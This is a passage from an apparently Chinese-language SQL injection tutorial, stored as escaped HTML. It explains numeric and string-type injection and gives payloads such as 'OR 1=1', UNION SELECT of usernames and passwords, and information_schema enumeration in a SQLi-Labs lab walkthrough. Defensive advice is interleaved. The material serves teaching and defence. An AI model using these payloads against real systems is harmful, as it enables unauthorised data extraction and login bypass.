OR\u3001AND&#xff09;\u548c\u6052\u771f\/\u6052\u5047\u6761\u4ef6\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li id=\"uf075472f\">\u793a\u4f8b&#xff1a;<\/li>\n<\/ul>\n<p id=\"uf80e0b30\">\u6b63\u5e38\u7684 SQL \u67e5\u8be2<\/p>\n<p id=\"ub4893366\">\u5047\u8bbe\u4e00\u4e2a\u5e94\u7528\u7a0b\u5e8f\u6839\u636e\u7528\u6237\u8f93\u5165\u7684 id \u67e5\u8be2\u5458\u5de5\u4fe1\u606f&#xff1a;<\/p>\n<p>SELECT * FROM employees WHERE id &#061; 1; <\/p>\n<p id=\"u215ace28\">\u5982\u679c\u7528\u6237\u8f93\u5165 1&#xff0c;\u67e5\u8be2\u4f1a\u8fd4\u56de id&#061;1 \u7684\u5458\u5de5\u4fe1\u606f\u3002<\/p>\n<p id=\"u715bc7be\">\u6ce8\u5165\u540e\u7684 SQL \u67e5\u8be2<\/p>\n<p id=\"u2e860c84\">\u5982\u679c\u653b\u51fb\u8005\u8f93\u5165\u6076\u610f\u7684\u6570\u503c&#xff08;\u5982 1 OR 1&#061;1&#xff09;&#xff0c;\u67e5\u8be2\u53ef\u80fd\u53d8\u6210&#xff1a;<\/p>\n<p>SELECT * FROM employees WHERE id &#061; 1 OR 1&#061;1; <\/p>\n<ul>\n<li id=\"uced87270\">\u89e3\u91ca&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"ud149a069\">\u6761\u4ef6 1&#061;1 \u59cb\u7ec8\u4e3a\u771f&#xff0c;\u5bfc\u81f4\u67e5\u8be2\u8fd4\u56de\u6240\u6709\u5458\u5de5\u7684\u4fe1\u606f\u3002<\/li>\n<li id=\"u750199b3\">\u8fd9\u79cd\u6ce8\u5165\u53ef\u4ee5\u7528\u4e8e\u6570\u636e\u6cc4\u9732\u6216\u6743\u9650\u7ed5\u8fc7\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p id=\"u632f28ea\">\u3010\u7528or \u53ea\u8981\u6ee1\u8db3\u5176\u4e00\u5373\u53ef&#xff0c;\u53c81&#061;1\u6c38\u8fdc\u6210\u7acb&#xff0c;\u6240\u4ee5id&#061;1\u8fd9\u4e00\u6761\u4ef6\u4f1a\u88ab\u5ffd\u7565\u3011<\/p>\n<h5 id=\"vJ5nr\">6.1.4. \u8054\u5408\u67e5\u8be2\u6ce8\u5165<\/h5>\n<ul>\n<li id=\"u3fbc54d0\">\u653b\u51fb\u65b9\u5f0f&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"ud4986d5c\">\u4f7f\u7528 UNION \u5c06\u6076\u610f\u67e5\u8be2\u7ed3\u679c\u4e0e\u539f\u59cb\u67e5\u8be2\u7ed3\u679c\u5408\u5e76\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li id=\"uc70598aa\">\u793a\u4f8b&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"uff9607d3\">\u7528\u6237\u8f93\u5165&#xff1a;1 UNION SELECT username, password FROM users<\/li>\n<li id=\"u98985110\">\u62fc\u63a5\u540e\u7684 SQL&#xff1a;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>SELECT * FROM employees WHERE id &#061; 1<br \/>\nUNION<br \/>\nSELECT username, password FROM users; <\/p>\n<ul>\n<li>\n<ul>\n<li id=\"u52ebf5c7\">\u6548\u679c&#xff1a;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li>\n<ul>\n<li id=\"ub2e4d95b\">\u8fd4\u56de\u5458\u5de5\u4fe1\u606f\u7684\u540c\u65f6&#xff0c;\u8fd8\u6cc4\u9732\u4e86\u7528\u6237\u7684\u7528\u6237\u540d\u548c\u5bc6\u7801\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h5 id=\"gGQbD\">6.1.5. \u5b50\u67e5\u8be2\u6ce8\u5165<\/h5>\n<ul>\n<li id=\"u0d21b543\">\u653b\u51fb\u65b9\u5f0f&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"u14b017ef\">\u5728\u6570\u503c\u53c2\u6570\u4e2d\u5d4c\u5957\u5b50\u67e5\u8be2&#xff0c;\u83b7\u53d6\u654f\u611f\u4fe1\u606f\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li id=\"u6cd45cf0\">\u793a\u4f8b&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"uf47503cc\">\u7528\u6237\u8f93\u5165&#xff1a;1 AND (SELECT COUNT(*) FROM users) &gt; 0<\/li>\n<li id=\"ub812dee6\">\u62fc\u63a5\u540e\u7684 SQL&#xff1a;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>SELECT * FROM employees WHERE id &#061; 1 AND (SELECT COUNT(*) FROM users) &gt; 0;<\/p>\n<p>&#8212; \u67e5\u8be2employees\u8868\u4e2did&#061;1\u7684\u5458\u5de5\u6570\u636e&#xff0c;\u4f46\u4ec5\u5f53users\u8868\u4e2d\u5b58\u5728\u81f3\u5c111\u6761\u8bb0\u5f55\u65f6\u624d\u8fd4\u56de\u7ed3\u679c\u3002 <\/p>\n<ul>\n<li>\n<ul>\n<li id=\"u2d15bead\">\u6548\u679c&#xff1a;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li>\n<ul>\n<li id=\"u78730692\">\u9a8c\u8bc1 users \u8868\u662f\u5426\u5b58\u5728&#xff0c;\u5e76\u5c1d\u8bd5\u83b7\u53d6\u66f4\u591a\u4fe1\u606f\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h5 id=\"QTr4U\">6.1.6. \u603b\u7ed3<\/h5>\n<ul>\n<li id=\"u818abd09\">\u6570\u503c\u578b\u6ce8\u5165\u7684\u7279\u70b9&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"ua8ea98a3\">\u53c2\u6570\u4e3a\u6570\u503c\u578b&#xff0c;\u65e0\u9700\u5f15\u53f7\u5305\u88f9\u3002<\/li>\n<li id=\"u259a32d9\">\u653b\u51fb\u8005\u901a\u8fc7\u903b\u8f91\u8fd0\u7b97\u7b26\u3001\u8054\u5408\u67e5\u8be2\u3001\u5b50\u67e5\u8be2\u7b49\u65b9\u5f0f\u7be1\u6539\u67e5\u8be2\u903b\u8f91\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li id=\"udb9e9ee0\">\u9632\u5fa1\u63aa\u65bd&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"u6a9950f4\">\u4f7f\u7528\u53c2\u6570\u5316\u67e5\u8be2&#xff08;\u907f\u514d\u76f4\u63a5\u62fc\u63a5\u7528\u6237\u8f93\u5165&#xff09;\u3002<\/li>\n<li id=\"u6d31ccc6\">\u9a8c\u8bc1\u7528\u6237\u8f93\u5165\u3002<\/li>\n<li id=\"u1ec75dae\">\u6700\u5c0f\u5316\u6570\u636e\u5e93\u6743\u9650\u3002<\/li>\n<li id=\"u43e8481b\">\u76d1\u63a7\u548c\u8bb0\u5f55\u5f02\u5e38\u884c\u4e3a<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h4 id=\"zRnN4\">6.2. \u5b57\u7b26\u578b\u6ce8\u5165<\/h4>\n<h5 id=\"kORQa\">6.2.1. \u6838\u5fc3\u5b9a\u4e49&#xff1a;\u4ec0\u4e48\u662f\u5b57\u7b26\u578b\u6ce8\u5165&#xff1f;<\/h5>\n<p id=\"u96ec2681\">\u5b57\u7b26\u578b\u6ce8\u5165\u662fSQL\u6ce8\u5165\u7684\u5178\u578b\u7c7b\u578b&#xff0c;\u53d1\u751f\u5728\u53c2\u6570\u4e3a\u5b57\u7b26\u4e32\u7c7b\u578b\u7684\u573a\u666f\u4e2d\u3002\u5176\u6838\u5fc3\u7279\u5f81\u662f&#xff1a;<\/p>\n<ul>\n<li id=\"ufea6f99a\">\u540e\u53f0SQL\u8bed\u53e5\u4e2d&#xff0c;\u53c2\u6570\u88ab\u5355\u5f15\u53f7&#xff08;&#039;&#xff09;\u6216\u53cc\u5f15\u53f7&#xff08;&#034;&#xff09;\u5305\u88f9&#xff08;\u533a\u522b\u4e8e\u6570\u503c\u578b\u6ce8\u5165\u7684\u65e0\u5f15\u53f7&#xff09;\u3002<\/li>\n<li id=\"u13f1df80\">\u653b\u51fb\u8005\u901a\u8fc7\u6784\u9020\u5305\u542b\u7279\u6b8a\u5b57\u7b26\u7684\u5b57\u7b26\u4e32&#xff0c;\u95ed\u5408\u539f\u6709\u5f15\u53f7\u5e76\u6ce8\u5165\u6076\u610fSQL\u903b\u8f91&#xff0c;\u5b9e\u73b0\u672a\u6388\u6743\u64cd\u4f5c\u3002<\/li>\n<\/ul>\n<h5 id=\"nrFrm\">6.2.2. \u5173\u952e\u7279\u5f81\u4e0e\u5224\u65ad\u65b9\u6cd5<\/h5>\n<h6 id=\"B9ClJ\">6.2.2.1. \u5178\u578b\u573a\u666f<\/h6>\n<p id=\"ub8ede910\">\u5e38\u89c1\u4e8e\u7528\u6237\u540d\u3001\u641c\u7d22\u5173\u952e\u8bcd\u7b49\u5b57\u7b26\u578b\u53c2\u6570&#xff0c;\u540e\u53f0SQL\u683c\u5f0f\u901a\u5e38\u4e3a&#xff1a;<\/p>\n<p>SELECT * FROM users WHERE username &#061; &#039;[\u7528\u6237\u8f93\u5165]&#039;  &#8212; \u4f8b\u5982&#xff1a;username&#061;&#039;admin&#039; <\/p>\n<h6 id=\"Yyl4r\">6.2.2.2. \u5224\u65ad\u65b9\u6cd5&#xff08;\u5b9e\u6218\u6b65\u9aa4&#xff09;<\/h6>\n<p id=\"udc04cfac\">\u901a\u8fc7\u6784\u9020\u5355\u5f15\u53f7\u95ed\u5408\u903b\u8f91&#xff0c;\u89c2\u5bdf\u9875\u9762\u54cd\u5e94\u5dee\u5f02&#xff0c;\u5373\u53ef\u5224\u65ad\u662f\u5426\u5b58\u5728\u5b57\u7b26\u578b\u6ce8\u5165&#xff1a;<\/p>\n<ul>\n<li id=\"uc1c83af8\">\u6b65\u9aa41&#xff1a;\u5355\u5f15\u53f7\u6d4b\u8bd5&#xff08;\u6838\u5fc3&#xff09; \u8f93\u5165 username&#061;admin&#039;&#xff08;\u5728\u539f\u53c2\u6570\u540e\u52a0\u5355\u5f15\u53f7&#xff09;&#xff0c;<\/li>\n<li id=\"u8d1fde5a\">\u82e5\u9875\u9762\u62a5\u9519&#xff08;\u5982Unclosed quotation mark&#xff09;&#xff0c;\u8bf4\u660e\u53c2\u6570\u88ab\u5f15\u53f7\u5305\u88f9&#xff08;\u5b57\u7b26\u578b\u6ce8\u5165\u7279\u5f81&#xff09;\u3002<\/li>\n<li id=\"ua4ba20e5\">\u3010\u6ce8\u610f&#xff0c;\u4e00\u4e2a\u662f\u8bed\u6cd5\u9519\u8bef&#xff0c;\u4e00\u4e2a\u662f\u5f15\u53f7\u672a\u95ed\u5408&#xff0c;\u9519\u8bef\u63d0\u793a\u4e0d\u540c\u3011 \u6b64\u65f6SQL\u53d8\u4e3a&#xff1a;<\/li>\n<\/ul>\n<p>SELECT * FROM users WHERE username &#061; &#039;admin&#039;&#039;  &#8212; \u5f15\u53f7\u672a\u95ed\u5408&#xff0c;\u8bed\u6cd5\u9519\u8bef <\/p>\n<ul>\n<li id=\"uecd16782\">\u6b65\u9aa42&#xff1a;\u903b\u8f91\u6761\u4ef6\u6d4b\u8bd5&#xff08;\u9a8c\u8bc1\u6ce8\u5165\u70b9&#xff09; \u6784\u9020\u95ed\u5408&#043;\u6052\u771f\u6761\u4ef6&#xff1a;\u8f93\u5165 username&#061;admin&#039; AND &#039;1&#039;&#061;&#039;1 &#8211;&#043;&#xff08;&#8211;&#043;\u7528\u4e8e\u6ce8\u91ca\u540e\u7eed\u5185\u5bb9&#xff09;&#xff0c;\u82e5\u9875\u9762\u6b63\u5e38\u663e\u793a&#xff08;\u4e0e\u539f\u8bf7\u6c42\u4e00\u81f4&#xff09;&#xff0c;\u8bf4\u660e\u6ce8\u5165\u6210\u529f\u3002 \u6b64\u65f6SQL\u53d8\u4e3a&#xff1a;<\/li>\n<\/ul>\n<p>SELECT * FROM users WHERE username &#061; &#039;admin&#039; AND &#039;1&#039;&#061;&#039;1 &#8211;&#043;&#039;  &#8212; \u6761\u4ef6\u6052\u771f&#xff0c;\u8fd4\u56de\u6240\u6709\u7528\u6237 <\/p>\n<ul>\n<li id=\"u4c275a64\">\u6b65\u9aa43&#xff1a;\u5bf9\u6bd4\u6052\u5047\u6761\u4ef6 \u8f93\u5165 username&#061;admin&#039; AND &#039;1&#039;&#061;&#039;2 &#8211;&#043;&#xff0c;\u82e5\u9875\u9762\u5f02\u5e38\u663e\u793a&#xff08;\u7a7a\u767d\u6216\u62a5\u9519&#xff09;&#xff0c;\u8fdb\u4e00\u6b65\u786e\u8ba4\u5b58\u5728\u5b57\u7b26\u578b\u6ce8\u5165\u3002<\/li>\n<\/ul>\n<h6 id=\"joI0k\">6.2.2.3. \u5b9e\u6218\u6848\u4f8b&#xff1a;\u4ece\u5224\u65ad\u5230\u6570\u636e\u83b7\u53d6<\/h6>\n<p id=\"u0d8da069\">\u4ee5SQLi-Labs\u9776\u573aLess-1&#xff08;\u5b57\u7b26\u578b\u6ce8\u5165\u7ecf\u5178\u573a\u666f&#xff09;\u4e3a\u4f8b&#xff1a;<\/p>\n<h6 id=\"Riz5E\">6.2.2.3.1. \u73af\u5883\u51c6\u5907<\/h6>\n<ul>\n<li id=\"u4481060e\">\u9776\u573aURL&#xff1a;http:\/\/localhost\/sqli-labs\/Less-1\/?id&#061;1<\/li>\n<li id=\"u51868e4f\">\u540e\u53f0SQL&#xff1a;SELECT * FROM users WHERE id &#061; &#039;[\u7528\u6237\u8f93\u5165]&#039;<\/li>\n<\/ul>\n<h6 id=\"MsZys\">6.2.2.3.2. \u6ce8\u5165\u8fc7\u7a0b<\/h6>\n<ul>\n<li id=\"ufda18295\">\u5224\u65ad\u6ce8\u5165\u70b9&#xff1a; \u8f93\u5165 id&#061;1&#039; \u2192 \u9875\u9762\u62a5\u9519&#xff08;You have an error in your SQL syntax&#xff09;&#xff0c;\u786e\u8ba4\u53c2\u6570\u88ab\u5355\u5f15\u53f7\u5305\u88f9\u3002 \u8f93\u5165 id&#061;1&#039; AND &#039;1&#039;&#061;&#039;1 &#8211;&#043; \u2192 \u9875\u9762\u6b63\u5e38\u663e\u793a&#xff08;\u4e0eid&#061;1\u4e00\u81f4&#xff09;&#xff0c;\u6ce8\u5165\u70b9\u5b58\u5728\u3002<\/li>\n<li id=\"uc9ee9831\">\u83b7\u53d6\u6570\u636e\u5e93\u4fe1\u606f&#xff1a; \u6784\u9020\u8054\u5408\u67e5\u8be2&#xff0c;\u83b7\u53d6\u6570\u636e\u5e93\u540d&#xff1a;<\/li>\n<\/ul>\n<p>id&#061;-1&#039; UNION SELECT 1, database(), 3 &#8211;&#043;  &#8212; \u7528-1\u8ba9\u539f\u67e5\u8be2\u65e0\u7ed3\u679c&#xff0c;\u663e\u793a\u8054\u5408\u67e5\u8be2\u5185\u5bb9 <\/p>\n<p id=\"u21efbfc0\">\u6b64\u65f6SQL\u53d8\u4e3a&#xff1a;<\/p>\n<p>SELECT * FROM users WHERE id &#061; &#039;-1&#039; UNION SELECT 1, database(), 3 &#8211;&#043;&#039; <\/p>\n<p id=\"u68bb92df\">\u9875\u9762\u8fd4\u56de\u5f53\u524d\u6570\u636e\u5e93\u540d&#xff08;\u5982security&#xff09;\u3002<\/p>\n<ul>\n<li id=\"ub3e59564\">\u83b7\u53d6\u8868\u540d&#xff1a; \u8fdb\u4e00\u6b65\u67e5\u8be2\u6570\u636e\u5e93\u4e2d\u7684\u8868&#xff1a;<\/li>\n<\/ul>\n<p>id&#061;-1&#039; UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schema&#061;database() &#8211;&#043; <\/p>\n<p id=\"u76a9b016\">\u7ed3\u679c\u8fd4\u56de\u6240\u6709\u8868\u540d&#xff08;\u5982users\u3001emails&#xff09;\u3002<\/p>\n<h6 id=\"Pwgxe\">6.2.2.4. \u9632\u5fa1\u5efa\u8bae<\/h6>\n<ul>\n<li id=\"u492a2d8c\">\u53c2\u6570\u8fc7\u6ee4&#xff1a;\u5bf9\u8f93\u5165\u7684\u5355\u5f15\u53f7\u3001\u53cc\u5f15\u53f7\u7b49\u7279\u6b8a\u5b57\u7b26\u8fdb\u884c\u8f6c\u4e49&#xff08;\u5982PHP\u4e2d\u7528addslashes()&#xff09;&#xff1b;<\/li>\n<li id=\"u50d751d0\">\u9884\u7f16\u8bd1\u8bed\u53e5&#xff1a;\u4f7f\u7528PDO\u6216MyBatis\u7684\u53c2\u6570\u7ed1\u5b9a&#xff0c;\u907f\u514d\u76f4\u63a5\u62fc\u63a5SQL&#xff1b;<\/li>\n<li id=\"ue07ee236\">\u7c7b\u578b\u6821\u9a8c&#xff1a;\u5bf9\u5b57\u7b26\u578b\u53c2\u6570\u9650\u5236\u957f\u5ea6\u548c\u683c\u5f0f&#xff08;\u5982\u7528\u6237\u540d\u4ec5\u5141\u8bb8\u5b57\u6bcd\u6570\u5b57&#xff09;\u3002<\/li>\n<\/ul>\n<h6 id=\"mYFdC\">6.2.2.5. \u4e00\u53e5\u8bdd\u603b\u7ed3<\/h6>\n<p id=\"u6ec65e27\">\u5b57\u7b26\u578b\u6ce8\u5165\u662f\u5229\u7528\u53c2\u6570\u88ab\u5f15\u53f7\u5305\u88f9\u7684\u7279\u6027&#xff0c;\u901a\u8fc7\u6784\u9020\u95ed\u5408\u903b\u8f91\u6ce8\u5165\u6076\u610fSQL&#xff0c;\u6838\u5fc3\u5224\u65ad\u65b9\u6cd5\u662f\u5355\u5f15\u53f7\u6d4b\u8bd5&#043;\u903b\u8f91\u6761\u4ef6\u9a8c\u8bc1&#xff0c;\u5b9e\u6218\u4e2d\u53ef\u7ed3\u5408\u8054\u5408\u67e5\u8be2\u83b7\u53d6\u654f\u611f\u6570\u636e\u3002 &#x1f6e1;\ufe0f<\/p>\n<ul>\n<li>\n<ul>\n<li id=\"u6cf9b0c7\">\u524d\u53f0\u9875\u9762\u8f93\u5165\u7684\u53c2\u6570\u662f\u300c\u5b57\u7b26\u4e32\u300d\u3002<\/li>\n<li id=\"u74f01fb4\">\u5b57\u7b26\u53ef\u4ee5\u4f7f\u7528\u5355\u5f15\u53f7\u5305\u88f9&#xff0c;\u4e5f\u53ef\u4ee5\u4f7f\u7528\u53cc\u5f15\u53f7\u5305\u88f9\u3002<\/li>\n<li id=\"uf9a52574\">\u6839\u636e\u5305\u88f9\u5b57\u7b26\u4e32\u7684\u300c\u5f15\u53f7\u300d\u4e0d\u540c&#xff0c;\u5b57\u7b26\u578b\u6ce8\u5165\u53ef\u4ee5\u5206\u4e3a&#xff1a;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li>\n<ul>\n<li id=\"u8cb61d38\">\u5355\u5f15\u53f7\u5b57\u7b26\u578b\u6ce8\u5165<\/li>\n<li id=\"ua96aacb7\">\u53cc\u5f15\u53f7\u5b57\u7b26\u578b\u6ce8\u5165<\/li>\n<li id=\"u69790524\">\u5e26\u6709\u62ec\u53f7\u7684\u6ce8\u5165<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li>\n<ul>\n<li>\n<ul>\n<li id=\"ude3ddcca\">SQL\u7684\u8bed\u6cd5&#xff0c;\u652f\u6301\u4f7f\u7528\u4e00\u4e2a\u6216\u591a\u4e2a\u300c\u62ec\u53f7\u300d\u5305\u88f9\u53c2\u6570&#xff0c;\u4f7f\u5f97\u8fd9\u4e24\u4e2a\u57fa\u7840\u7684\u6ce8\u5165\u7c7b\u578b\u5b58\u5728\u4e00\u4e9b\u53d8\u79cd\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li>\n<ul>\n<li>\n<ul>\n<li>\n<ul>\n<li id=\"ude603cc9\">a. \u6570\u503c\u578b&#043;\u62ec\u53f7\u7684\u6ce8\u5165&#xff1a;\u4f7f\u7528\u62ec\u53f7\u5305\u88f9\u6570\u503c\u578b\u53c2\u6570<\/li>\n<li id=\"ucaaf42b5\">b. \u5355\u5f15\u53f7\u5b57\u7b26\u4e32&#043;\u62ec\u53f7\u7684\u6ce8\u5165&#xff1a;\u4f7f\u7528\u62ec\u53f7\u548c\u5355\u5f15\u53f7\u5305\u88f9\u53c2\u6570<\/li>\n<li id=\"u9efda2c0\">c. \u53cc\u5f15\u53f7\u5b57\u7b26\u4e32&#043;\u62ec\u53f7\u7684\u6ce8\u5165\u4f7f\u7528\u62ec\u53f7\u548c\u53cc\u5f15\u53f7\u5305\u88f9\u53c2\u6570<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"u4edd3b77\">\u4e0d\u53ef\u76f4\u63a5\u62fc\u63a5\u7528\u6237\u8f93\u5165\u5230SQL\u67e5\u8be2\u4e2d&#xff0c;\u53ef\u80fd\u5bfc\u81f4\u903b\u8f91\u88ab\u7be1\u6539\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>\u793a\u4f8b&#xff1a;<br \/>\nselect \\\\* from user where id &#061; (1);<br \/>\n\/\/\u8fd9\u662f\u67e5\u8be2 user \u8868\u4e2did\u7b49\u4e8e1\u7684\u6240\u6709\u8bb0\u5f55\u3002<br \/>\n\u8fd9\u91cc\u7684 (1) \u662f\u5355\u503c\u5b50\u67e5\u8be2\u7684\u5199\u6cd5&#xff08;\u867d\u7136\u8fd9\u91cc\u76f4\u63a5\u51991\u4e5f\u53ef\u4ee5&#xff09;&#xff0c;\u6700\u7ec8\u6548\u679c\u548c id &#061; 1 \u4e00\u81f4\u3002<\/p>\n<p>select \\\\* from user where id &#061; ((1));<br \/>\n\/\/\u548c\u7b2c\u4e00\u4e2a\u8bed\u53e5\u6548\u679c\u5b8c\u5168\u76f8\u540c&#xff0c;\u53ea\u662f\u591a\u5957\u4e86\u4e00\u5c42\u62ec\u53f7&#xff0c;SQL\u4f1a\u81ea\u52a8\u89e3\u6790\u62ec\u53f7\u5185\u7684\u5185\u5bb9&#xff0c;<br \/>\n\u6700\u7ec8\u8fd8\u662f\u67e5\u8be2 id&#061;1 \u7684\u8bb0\u5f55\u3002<\/p>\n<p>select \\\\* from user where username &#061; (&#039;zhangsan&#039;);<br \/>\n\/\/\u67e5\u8be2 user \u8868\u4e2d**username\u7b49\u4e8e&#039;zhangsan&#039;**\u7684\u6240\u6709\u8bb0\u5f55\u3002<br \/>\n\u8fd9\u91cc &#039;zhangsan&#039; \u662f\u5b57\u7b26\u4e32\u5e38\u91cf&#xff0c;\u5355\u5f15\u53f7\u662fSQL\u4e2d\u8868\u793a\u5b57\u7b26\u4e32\u7684\u6807\u51c6\u65b9\u5f0f\u3002<\/p>\n<p>select \\\\* from user where username &#061; ((&#039;zhangsan&#039;));<br \/>\n\/\/\u548c\u7b2c\u4e09\u4e2a\u8bed\u53e5\u6548\u679c\u4e00\u81f4&#xff0c;\u591a\u5957\u4e86\u62ec\u53f7\u4e0d\u5f71\u54cd\u7ed3\u679c&#xff0c;\u4f9d\u7136\u662f\u67e5\u8be2username&#061;&#039;zhangsan&#039; \u7684\u8bb0\u5f55\u3002<\/p>\n<p>select \\\\* from user where username &#061; (&#034;zhangsan&#034;);<br \/>\n\/\/\u591a\u5957\u4e86\u62ec\u53f7\u4e0d\u5f71\u54cd\u7ed3\u679c&#xff0c;\u4f9d\u7136\u662f\u67e5\u8be2username&#061;&#034;zhangsan&#034; \u7684\u8bb0\u5f55 <\/p>\n<h5 id=\"OZqvG\">6.2.3. \u7b80\u5355\u6761\u4ef6\u6ce8\u5165<\/h5>\n<ul>\n<li id=\"u34fbf068\">\u653b\u51fb\u65b9\u5f0f&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"udbc6d016\">\u5728\u5b57\u7b26\u4e32\u53c2\u6570\u540e\u6dfb\u52a0\u903b\u8f91\u8fd0\u7b97\u7b26&#xff08;\u5982 OR\u3001AND&#xff09;\u548c\u6052\u771f\/\u6052\u5047\u6761\u4ef6\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li id=\"uf67f91e8\">\u793a\u4f8b&#xff1a;<\/li>\n<li id=\"uf7eab167\">\u5047\u8bbe\u4e00\u4e2a\u5e94\u7528\u7a0b\u5e8f\u6839\u636e\u7528\u6237\u8f93\u5165\u7684 name \u67e5\u8be2\u5458\u5de5\u4fe1\u606f&#xff1a;<\/li>\n<\/ul>\n<p>SELECT * FROM employees WHERE name &#061; &#039;Alice&#039;; <\/p>\n<p id=\"ube377e54\">\u5982\u679c\u7528\u6237\u8f93\u5165 Alice&#xff0c;\u67e5\u8be2\u4f1a\u8fd4\u56de name&#061;&#039;Alice&#039; \u7684\u5458\u5de5\u4fe1\u606f\u3002<\/p>\n<ul>\n<li>\n<ul>\n<li id=\"u310ba1fc\">\u7528\u6237\u8f93\u5165&#xff1a;Alice&#039; OR &#039;1&#039;&#061;&#039;1<\/li>\n<li id=\"ue1a25d08\">\u62fc\u63a5\u540e\u7684 SQL&#xff1a;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>SELECT * FROM employees WHERE name &#061; &#039;Alice&#039; OR &#039;1&#039;&#061;&#039;1&#039;; <\/p>\n<ul>\n<li>\n<ul>\n<li id=\"u371fe8c9\">\u6548\u679c&#xff1a;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li>\n<ul>\n<li id=\"u6a61eaf3\">\u8fd4\u56de\u6240\u6709\u5458\u5de5\u7684\u4fe1\u606f\u3002\u3010\u539f\u7406\u540c\u6570\u503c\u578b&#xff0c;\u53ea\u4e0d\u8fc7\u6ce8\u610f&#039;\u7684\u6709\u65e0\u3011<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<h5 id=\"FrQdE\">6.2.4. \u8054\u5408\u67e5\u8be2\u6ce8\u5165<\/h5>\n<ul>\n<li id=\"uc3e077e8\">\u653b\u51fb\u65b9\u5f0f&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"u1d524d46\">\u4f7f\u7528 UNION \u5c06\u6076\u610f\u67e5\u8be2\u7ed3\u679c\u4e0e\u539f\u59cb\u67e5\u8be2\u7ed3\u679c\u5408\u5e76\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li id=\"u1c11f084\">\u793a\u4f8b&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"ua42ba33f\">\u7528\u6237\u8f93\u5165&#xff1a;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p id=\"u239b4c09\">Alice&#039; UNION SELECT username, password FROM users &#8212;<\/p>\n<ul>\n<li>\n<ul>\n<li id=\"u44386145\">\u62fc\u63a5\u540e\u7684 SQL&#xff1a;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>SELECT * FROM employees WHERE name &#061; &#039;Alice&#039;<br \/>\nUNION<br \/>\nSELECT username, password FROM users &#8212; &#039;; <\/p>\n<ul>\n<li>\n<ul>\n<li id=\"u25428db9\">\u6548\u679c&#xff1a;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li>\n<ul>\n<li id=\"udbd954a9\">\u8fd4\u56de\u5458\u5de5\u4fe1\u606f\u7684\u540c\u65f6&#xff0c;\u8fd8\u6cc4\u9732\u4e86\u7528\u6237\u7684\u7528\u6237\u540d\u548c\u5bc6\u7801\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p id=\"u68e17fc1\">\u3010\u5229\u7528&#8211; \u6765\u5c06\u7ed3\u5c3e\u7684&#039;\u6ce8\u91ca\u6389&#xff0c;\u4ee5\u4fdd\u8bc1\u5f15\u53f7\u95ed\u5408\u3011<\/p>\n<h5 id=\"URmNn\">6.2.5. \u5b50\u67e5\u8be2\u6ce8\u5165<\/h5>\n<ul>\n<li id=\"u462e750e\">\u653b\u51fb\u65b9\u5f0f&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"u629b87e6\">\u5728\u5b57\u7b26\u4e32\u53c2\u6570\u4e2d\u5d4c\u5957\u5b50\u67e5\u8be2&#xff0c;\u83b7\u53d6\u654f\u611f\u4fe1\u606f\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<ul>\n<li id=\"u1192c259\">\u793a\u4f8b&#xff1a;<\/li>\n<\/ul>\n<ul>\n<li>\n<ul>\n<li id=\"ue074a9a0\">\u7528\u6237\u8f93\u5165&#xff1a;Alice&#039; AND (SELECT COUNT(*) FROM users) &gt; 0 &#8212;<\/li>\n<li id=\"u0c76886a\">\u62fc\u63a5\u540e\u7684 SQL&#xff1a;<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p>SELECT * FROM employees WHERE name &#061; &#039;Alice&#039; AND (SELECT COUNT(*) FROM users) &gt; 0 